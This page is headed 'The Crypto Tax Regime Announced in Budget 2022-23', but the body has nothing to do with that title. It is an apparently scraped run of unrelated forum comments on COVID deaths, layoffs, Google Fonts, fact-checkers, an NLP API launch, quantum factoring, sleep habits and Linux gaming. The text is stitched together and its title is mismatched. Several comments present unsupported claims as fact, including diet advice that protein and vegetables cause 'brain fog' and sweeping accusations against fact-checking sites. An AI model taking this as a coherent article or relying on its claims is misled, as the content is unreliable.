The Crypto Tax Regime Announced in Budget 2022-23
It should be fine.

If you consider the UK as a sort of upper-bound[0] on how many people can die if you just relax all restrictions in a vaccinated population, it works out to an average of 250 deaths per week.

That is, as a worst-case scenario, probably manageable.

On the other hand, I know many doctors and nurses hate this kind of thinking, because they view a high coronavirus incidence as a driver of a degradation of general standards of care, so consequently, a driver of excess deaths.
I honestly don't think my volvo bases its rear detection on the camera itself, pretty sure it's the sensors because on the camera it tells you in segments exactly how far each obstacle is and doing that using video + ML would be overkill for a simple feature that could use lidar.
I have gone through a restructuring at an established old money financial company where most of the management tier above me (up 2 levels) was let go, as well as many in the IT department along with a few from the product team I was in.

I decided to stay and see what would happen, and would advice the same.

The reasoning I used was that the change in structure might bring with it new opportunities and actually cause internal grievances to get addressed. In case of being laid off I would still hold skills in high demand and would not have any issue finding another job. And in case I would not like the changes made, I would always be able to leave anyway.

I ended up staying, not being fired, receive two raises and be able to learn new skills. Its been 2 years since this happened.

Your personal situations can differ of course, but unless you would be in dire financial straights or feeling that you would have a hard time finding a new position, I'd recommend staying and seeing how things go.

I have a friend that pointed out to me that Regular Coca Cola in both cans and bottles taste different between the product labeled as "Made in GB" to those that are not labeled as such, even with full UK labeling and identical ingredients. Once you pick up on it, you can tell straight away. I suspect UK cans without "Made in GB" are produced elsewhere in Europe, and has a slightly different recipe.
Google Fonts is specifically created and maintained to collect more data points for Google. Just an IP and user-agent is enough to fully identify a user that is known to them - and then they use referrer/origin headers to monitor the usage of a site using Google Fonts.

Azure's primary business isn't to collect data about users, Google's is.

Hosting providers and CDNs are legally very different from third-parties that you insert into a website.

Having all resources under the same domain is a great boost to performance. Self-hosting fonts can speed up website loading anywhere from 250ms to 1s.

The angular separation would be only 0.00013 arcseconds, so very impressive indeed. Hubble has an angular resolution of around 0.05 arcseconds in comparison. Radio telescopes can get better angular resolution than that using interferometry between distantly separated telescopes. Perhaps that's how they can do it.
The should, but with modern politics such matters are only ever skirted around the edges. The real issues nearly always remain unresolved.

You lose the regular Linux process you are used to and the interaction you can have between processes: start new ones to offload a small task, pipe data, trace them with strace or debug them with gdb. I think this convenience also held back people from moving to Unikernels.
How many "fact checkers" broke the artificial consensus view on the lab leak theory being "impossible"? None that I saw. The facts were pretty clear from the start if you actually read Daszak's bullshit, as eventually became clear despite the removal of millions of posts.

I recently saw USAToday "fact check" the claim that Fauci once said masks provided no protection from Corona. This was classed as misleading and lacking context - despite the fact Fauci said this on primetime national TV. There's video for it easily findable (thought certainly a little hard to find thanks to search engine fuckery). - https://eu.usatoday.com/story/news/factcheck/2021/06/03/fact...

Did any fact check sites cover America's lies to go into Iraq?

How many of them looked into the promotion of a known torturer and destroyer of congressional evidence to a top US position?

How did your favorite fact check site cover the Deepwater Horizon spill? Are they talking about Stephen Donziger?

We could go on all day, but it's farcical that anyone still believes these people.
sounds like the German's auto industry.

maybe instead of focusing why others are successful just go out and do your own thing? at the end Europe is full of unicorns and more startups are coming out of their teams.

The only thing I really see missing in Europe is the lack of dream / vision / going after big goals and having others believe that's possible. but even that gets easier each time you look around and spot a unicorn.

so just go build something

Morning is the most productive time for me.

I figured out a few factors that affect my performance in the morning:

- Schedule: I sleep 11pm to 7am every day, including weekends.

- Drink 2-3 glasses of water right after waking up.

- Have a clear plan for the first thing I should do in the morning.

About the latter one:

I think about solutions to the most challenging programming/architecture problem I had during the day while falling asleep in the evening. Then the first thing that pops up in my mind the moment I wake up is the ideas I had dozing off. I grab a cup of coffee and start working right away.

Been using this technique for years.

I think in EU it is mostly due to the German car industry (and all the associated publications) unwilling to change.

In the German speaking world everyone knows what a hp is (PS), how much his car has, his past cars had, in which configurations their car is available... although the kW is what is printed on the documents since ages now.

Nobody likes change. Some people still complain about the Euro, and that the DM was so much better... At least it is not called ECU.

Show HN: FirstLanguage NLP API
Hey HN! I am Dr.Subalalitha CN from FirstLanguage (https://www.firstlanguage.in). I am excited to launch our Natural Language Processing(NLP) API service with the HN community.

Our motto is 'NLP for the masses'. As you all know NLP requires specialized developers to build language based apps. We usually talk about training models and picking the right algorithm for an NLP task like for example Sentiment Analysis. This may be daunting for non-NLP developers if they are not well versed with the subject.

Any developer with an idea related to any app which requires text or speech processing should be able to develop that idea into reality. We at FirstLanguage enable that by providing an easy to use API at an affordable cost for a wide range of NLP tasks.

We cater to basic building block tasks like Stemming, Lemmatizer, Morphological Analyzer, POStag etc to advanced tasks like Sentiment Analysis or classification, Question Answering, Translation, Summarization etc.

We provide a Free plan to try our API or build your prototype, no credit card required. It is free for life until you decide to upgrade.

We provide API documentation which explains each and every API and what it does and how to use it. The documentation page also provides Try It feature which you can use to try our APIs directly in the browser. The documentation also provides code snippets in multiple coding languages.

We also provide SDKs for our API in Python and Typescript.

I would love to hear your ideas, experiences, and feedback, and will be answering any questions in the comments!

That's not true. Only root can read directly a disk device, or an user that is on the 'disk' group:

My personal theory is that the the demand for IT workers in general (devs, QA, "architects", program managers, ops, sysadmins... Etc) is so damn high relative to supply that our industry attracts and retains large quantities of people that are just plain shouldn't be here.

Witness the distressingly high number of devs that fizzbuzz catches out.

I don't know if they are in the wrong industry / career, are just generally incompetent, or could be good and just don't care, but it seems like the percentage of incompetents is rising.
In this model, the sun is 16 metres away and is 8 light minutes in real money.

The strands from the article are 150 light years which is seventy eight million, eight hundred and ninety four thousand light minutes (78894000lm) or nine million, eight hundred and sixty one thousand, seven hundred and fifty times the distance of the sun (9861750x) which gives us 16mx9861750 or one hundred and fifty seven thousand, seven hundred and eighty eight km (157788km). About 40% of the way to the (real) moon.

If you mean the Hercules Great Wall, 10 billion light years is five quadrillion, two hundred and fifty nine trillion, six hundred billion light minutes (5259600000000000lm) which gives us six hundred and fifty seven trillion, four hundred and fifty billion (657450000000000x) times the distance to the sun which would be ten trillion, five hundred and nineteen billion, two hundred and million km (10519200000000km). Or "quite big".
It would be nice if all these new quantum computer announcements came with a measure of power that many people are more interested in than raw qubit quantity:

How big a number can it factor reliably using Shor's algorithm?

According to [1], that record still stands at only 21. All larger numbers you've heard of being factored suffered from one or more of:

1) factoring numbers of a special form (n+i)*(n-i) for very small i

2) using an algorithm with prior knowledge of the predetermined factors

3) using adiabatic computing/quantum annealing rather than Shor's algorithm

Shor's algorithm (or its adaptation to elliptic curve discrete log) is the only one threatening widely used cryptographic primitives, once we have a few thousand logical qubits to work with, which due to the necessary quantum error correction translates to millions of raw qubits.

Obvious typo in there; they mean 2^{127} states.

I was sick of my boss expecting me to read emails on the weekend, I already spent all my vacation time in Europe anyway (mostly DE/AT), and I couldn't stand the short vacations. My wife only got 1 week off a year. At the time, it was much more affordable too - 800 euro a month to rent in the middle of a capital city and live car free. Sadly costs have risen dramatically.

It was meant to be a 6-12 month stay on a working holiday visa but we decided to stick around, and I got sponsored.

Protein (meat for me) will keep you alert. So when I go to sleep really late, I make sure that I postpone it even further, take my breakfast with meat, go to sleep. This will make me more alert, earlier in the morning, so my sleep pattern gets a reset (you need to sleep early to wake up early but how do you sleep early if you are not tired? my solution is to postpone going to sleep as much as possible but eat protein just before).

Another thing to consider are carbohydrates as in potatoes for me. If you read too much "eat vegetables, eat protein" articles it may be that you do not eat enough carbohydrates. No carbs, no energy. For instance eating just a salad, means no carbs for you at that meal but also vegetables will kill your appetite for your next meal. Best is to eat vegs and carbs.

Also protein takes a lot of energy to digest, less energy for you.

Carbs = energy, no brain fog

Protein = slow to digest -> slow transit -> less energy absorbed in the guts -> more brain fog

Vegs = less energy, more brain fog
Big projects, big turnover of people. Each team develops its own unit. Maybe they don't even see the final product. I wonder how many of then even try to run it once it is done?
To me it reads as only walling the data off is insufficient. They will have to incorporate in Europe or in jurisdiction without FISA-like laws and completely split whole operation there.
That's really interesting. I'm naturalised now and we've considered moving to Finland because Ireland's schools seem inferior. among other reasons. One problem is that we've heard it's very hard to make friends, would you say that's true? We've been lucky to build a great friend network here.

Incidentally I bought a Muurikka from a Finnish friend last summer and it's the most amazing thing I've ever cooked with. I don't think I'll ever go back to a bbq :-)
You can check numbeo for this.
For me this was NEVER relevant. Only what mattered was disposable income.
> People rarely make 80k/year here and everything here is expensive af.

The thing is, you earn less on paper than in the US, but your total cost of living (and thus, your "available" income) is way lower, too:

- healthcare is cheap and universally available, no need to stuff away money in HSAs to account for a sudden 100k$ bill from a broken leg or a million dollar bill from cancer

- public education for your children is free, you don't need to pay for private schools or (later on) for university

- housing costs are drastically lower than the US

- no need to stuff away money for pension because we actually have working government-backed pensions

- way less commute expenses - we tend to have working public transport and even if you commute by car, the distances involved are way less

- we have government-mandated vacation time - at the least 20 days a year, most employers offer around the 30 day range - and unlimited as-needed sick time, which also means you don't have to stuff away money for unpaid time off.
I'm always amazed at kids ability to quickly build hypotheses and communicate them. The one you mentioned is actually a great one and I wish people wouldn't stop doing that after they grow up. I find it very similar to what actual scientist do on the frontiers of knowledge, where no one really knows, what correct really is - yet.

I wonder how the kid would react, if they saw the bottom of the canal in summer somehow -- missing the ice

Selecting text with left clicks and pasting it with a middle click is a major feature of X11 IMHO. As a developer I copy and paste text all the time usually the X11 way, because if I select it's already in the clipboard and Ctrl-C is useless. I'm using a laptop with touchpad so I don't have to move my hands away from the keyboard. If I had to use a mouse then maybe I'd use Ctrl-C/V.

I also Ctrl-C/Ctrl-V files between directories in the file browser but not every week. I can also drag and drop them (move or copy). Everything other use of the clipboard happens less than once per month.

If left click / middle click doesn't work between all Wayland applications I can wait until all toolkits support it or X11 is removed from Linux.
> Maybe a way could be to leave stuff from previous day in unfinished state so there's motivation to start the day with it.

I do this, although with an important caveat: the unfinished stuff has to be well documented or trivial so it's easy to jump in. The point is to accomplish something as quickly and easily as possible.

Still, it's not a great look when your claim that something is "just plain false" is readily disproved by the obvious microbenchmark. You can certainly argue that it doesn't matter, other factors mitigate it, &c., but at least then you can have the honest talk about how that's true and why you need encryption to make those optimizations.

... except that you don't, they're flagged behind https expressly to strongarm https implementation.
Example:

Rittenhouse carried a gun. Left wing sources said it was illegal and he was charged with it. Right wing sources (e.g. Viva & Barnes) said it was actually legal because of how the law was written and predicted it would be dismissed by the judge.

Politifact factchecked the claim that it was legal as false.

The judge dismissed the charge.

Politifact updated their page, not to admit they were wrong, but to double down that they were in fact right, not the judge. [1]

In many cases, fact checking websites strawman the claims to dismiss everything. In this case instead of factchecking "Rittenhouse was legally carrying" they fact checked "Rittenhouse was PERFECTLY legally carrying" so that when it turns out it was legal they can say "Yes, but not PERFECTLY legal".

Getting a dog was a game changer for me.

I have to get up, no matter what. Rain, snow, hail, thunderstorm. The dog needs a walk. Walk 3 miles every morning without staring at your phone. (Pooch needs to play fetch.) Actually be present.

If coffee is your thing, don't drink Starbucks or other chain junk. The buzz you get from nice, high-quality beans is so much more gentle than the hyper-caffeinated over extracted coffee shop junk. It doesn't have to be espresso either. A nice V60 filter costs <£10 and a bag of speciality beans can cost the same and last a couple of weeks.
Agreed, the only way to enforce something is to make part of the type system, and that is how we land on C folks complaining about straightjacket programming languages.
OK, fair enough. Trouble is, at present I'm living outside the US, it seems those rules don't apply here. Apologies for not making that clear earlier.

Might be a notable exception but i have almost a thousand of those exceptions :-P. Also while Steam itself is needed for the initial download, some games can just be copied to another place and work fine, especially indie games that do not bother with DRM. A bigger issue is the Steamworks APIs but if you only care about singleplayer games there are drop-in replacements like Goldberg's emulator[0] which is opensource (LGPL).

(also there are more places to buy DRM-free games than only GOG - e.g. itch.io, Zoom Platform, GamersGate and Humble Store to name a few - though GOG has most of the games)

A lot of interesting ideas in this for sure, but at various points when reading it I was thinking "I bet the people who have to implement what you're selling are not going to be happy" :)

The problem with reducing products or services to simple ideas that can be communicated enticingly, is that it necessarily glosses over details that get left to the implementors.

So the product/campaign gets sold, the idea people move on and someone has to explain to the customer that the widget that prevents floods, doesn't actually work like that.
I game on linux, it's not as secure as I would like it to be. I run everything under unprivileged container including steam, the problem is that for vulkan hardware renderer to work it requires direct access to the device and the linux kernel doesn't virtualize device access. It's a security nightmare as far as I can see.
You could potentially keep a website "on a bookshelf at home" as well, provided the database is small enough. It doesn't even need to be SQLite. No matter the data format, you could get a fully running website on a raspberry pi, maybe with a subset of the data.

I'm picturing a bookshelf of raspberry pis in custom "boxes" like a collection of 8-tracks. Pull one out, plug it it, turn it on, and connect to it.

Considering the majority of my 20 year web-building career is long gone, this idea kind of intrigues me.
